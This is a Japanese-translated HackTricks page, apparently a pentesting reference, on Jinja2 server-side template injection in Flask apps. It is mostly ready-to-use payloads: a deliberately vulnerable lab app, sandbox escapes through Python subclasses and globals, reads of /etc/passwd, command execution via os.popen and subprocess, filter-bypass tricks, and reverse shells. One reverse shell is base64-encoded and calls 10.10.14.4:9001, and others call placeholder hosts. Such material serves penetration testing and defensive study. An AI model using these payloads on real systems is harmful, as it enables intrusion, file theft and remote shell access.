hacktricks/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
2024-04-06 18:36:04 +00:00

334 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Jinja2 SSTI
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、当社の独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*する。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
## **Lab**
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route("/")
def home():
if request.args.get('c'):
return render_template_string(request.args.get('c'))
else:
return "Hello, send someting inside the param 'c'!"
if __name__ == "__main__":
app.run()
```
## **その他**
### **デバッグステートメント**
デバッグ拡張機能が有効になっている場合、`debug` タグを使用して現在のコンテキストや利用可能なフィルターおよびテストをダンプすることができます。これは、デバッガをセットアップせずにテンプレートで使用可能なものを確認するのに役立ちます。
```python
<pre>
{% raw %}
{% debug %}
{% endraw %}
</pre>
```
### **すべての構成変数をダンプする**
原文: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
```python
{{ config }} #In these object you can find all the configured env variables
{% raw %}
{% for key, value in config.items() %}
<dt>{{ key|e }}</dt>
<dd>{{ value|e }}</dd>
{% endfor %}
{% endraw %}
```
## **Jinjaインジェクション**
まず第一に、Jinjaインジェクションでは、**サンドボックスから脱出する方法を見つけ**、通常のPython実行フローへのアクセスを回復する必要があります。これを行うためには、**サンドボックスからアクセス可能な** **非サンドボックス環境からのオブジェクトを悪用**する必要があります。
### グローバルオブジェクトへのアクセス
たとえば、コード`render_template("hello.html", username=username, email=email)`では、usernameとemailというオブジェクトは**非サンドボックスのPython環境から取得**され、**サンドボックス環境内でアクセス可能**になります。\
さらに、**サンドボックス環境からは常にアクセス可能な他のオブジェクト**もあります。
```
[]
''
()
dict
config
request
```
### \<class 'object'> の回復
次に、これらのオブジェクトからクラス **`<class 'object'>`** に到達する必要があります。これは、定義済みの **クラス** を取得しようとするためです。このオブジェクトから **`__subclasses__`** メソッドを呼び出し、**ノンサンドボックスの** Python 環境からすべてのクラスにアクセスできます。
その **オブジェクトクラス** にアクセスするには、**クラスオブジェクト** にアクセスし、**`__base__`**、**`__mro__()[-1]`**、または `.`**`mro()[-1]`** のいずれかにアクセスする必要があります。そして、この **オブジェクトクラス** に到達した後に **`__subclasses__()`** を呼び出します。
これらの例を確認してください:
```python
# To access a class object
[].__class__
''.__class__
()["__class__"] # You can also access attributes like this
request["__class__"]
config.__class__
dict #It's already a class
# From a class to access the class "object".
## "dict" used as example from the previous list:
dict.__base__
dict["__base__"]
dict.mro()[-1]
dict.__mro__[-1]
(dict|attr("__mro__"))[-1]
(dict|attr("\x5f\x5fmro\x5f\x5f"))[-1]
# From the "object" class call __subclasses__()
{{ dict.__base__.__subclasses__() }}
{{ dict.mro()[-1].__subclasses__() }}
{{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }}
{% raw %}
{% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
# Other examples using these ways
{{ ().__class__.__base__.__subclasses__() }}
{{ [].__class__.__mro__[-1].__subclasses__() }}
{{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }}
{{ request.__class__.mro()[-1].__subclasses__() }}
{% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %}
{% endraw %}
# Not sure if this will work, but I saw it somewhere
{{ [].class.base.subclasses() }}
{{ ''.class.mro()[1].subclasses() }}
```
### RCE Escaping
**`<class 'object'>`を回復**し、`__subclasses__`を呼び出した後、これらのクラスを使用してファイルを読み書きし、コードを実行できるようになります。
`__subclasses__`への呼び出しにより、**数百の新しい関数にアクセス**する機会が得られました。**ファイルクラス**にアクセスするだけで**ファイルの読み書き**や、`os`のように**コマンドを実行する**クラスにアクセスできるようになります。
**リモートファイルの読み書き**
```python
# ''.__class__.__mro__[1].__subclasses__()[40] = File class
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }}
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }}
```
**RCE**
```python
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Without '{{' and '}}'
<div data-gb-custom-block data-tag="if" data-0='application' data-1='][' data-2='][' data-3='__globals__' data-4='][' data-5='__builtins__' data-6='__import__' data-7='](' data-8='os' data-9='popen' data-10='](' data-11='id' data-12='read' data-13=']() == ' data-14='chiv'> a </div>
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
## Passing the cmd line in a GET param
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
**さらにクラス**を学ぶために**使用できる**クラスについては、以下を**確認**してください:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
### フィルター回避
#### 一般的な回避方法
これらの回避方法を使用すると、**一部の文字を使用せずに**オブジェクトの**属性にアクセス**できます。\
これらの回避方法のいくつかは、前述の例で既に見てきましたが、ここでまとめてみましょう:
```bash
# Without quotes, _, [, ]
## Basic ones
request.__class__
request["__class__"]
request['\x5f\x5fclass\x5f\x5f']
request|attr("__class__")
request|attr(["_"*2, "class", "_"*2]|join) # Join trick
## Using request object options
request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also)
request|attr(request.args.c) #Send a param like "?c=__class__
request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__
request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string
http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params
## Lists without "[" and "]"
http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_
# Using with
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %}
{% endraw %}
```
* [**グローバルオブジェクトにアクセスするためのさらなるオプションを確認するにはこちらを参照してください**](jinja2-ssti.md#accessing-global-objects)
* [**オブジェクトクラスにアクセスするためのさらなるオプションを確認するにはこちらを参照してください**](jinja2-ssti.md#recovering-less-than-class-object-greater-than)
* [**オブジェクトクラスなしでRCEを取得する方法については、こちらを読んでください**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than)
**HTMLエンコーディングを回避する**
デフォルトでは、セキュリティ上の理由から、Flaskはテンプレート内のすべてのをHTMLエンコードします。
```python
{{'<script>alert(1);</script>'}}
#will be
&lt;script&gt;alert(1);&lt;/script&gt;
```
**`safe`フィルターを使用すると、次のようにページにJavaScriptとHTMLをHTMLエンコードせずに**インジェクトできます:
```python
{{'<script>alert(1);</script>'|safe}}
#will be
<script>alert(1);</script>
```
**悪意のある設定ファイルを書いてRCEを実行する。**
```python
# evil config
{{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}
# load the evil config
{{ config.from_pyfile('/tmp/evilconfig.cfg') }}
# connect to evil host
{{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }}
```
## いくつかの文字なし
**`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
```python
{% raw %}
{%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%}
{% endraw %}
```
## Jinjaインジェクションでの **\<class 'object'>** を使用しない方法
[**グローバルオブジェクト**](jinja2-ssti.md#accessing-global-objects) から、**そのクラスを使用せずにRCEに到達する** 別の方法があります。\
これらのグローバルオブジェクトから**いずれかの関数**にアクセスできれば、**`__globals__.__builtins__`** にアクセスでき、そこから**RCE** は非常に **簡単** になります。
次のようにして、**`request`**、**`config`**、およびアクセス可能な他の**興味深いグローバルオブジェクト**から**関数**を見つけることができます:
```bash
{{ request.__class__.__dict__ }}
- application
- _load_form_data
- on_json_loading_failed
{{ config.__class__.__dict__ }}
- __init__
- from_envvar
- from_pyfile
- from_object
- from_file
- from_json
- from_mapping
- get_namespace
- __repr__
# You can iterate through children objects to find more
```
見つけた関数を使用して、次のようにしてbuiltinsを回復できます
```python
# Read file
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
# RCE
{{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }}
{{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }}
{% raw %}
{% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %}
{% endraw %}
## Extra
## The global from config have a access to a function called import_string
## with this function you don't need to access the builtins
{{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }}
# All the bypasses seen in the previous sections are also valid
```
## 参考文献
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
* ここでブラックリスト化された文字をバイパスするための [attr trick をチェック](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3) してください。
* [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
* [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks を PDF でダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) **に参加するか、**[**telegram グループ**](https://t.me/peass) **に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローしてください。\*\*
* **HackTricks と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **の github リポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。**
</details>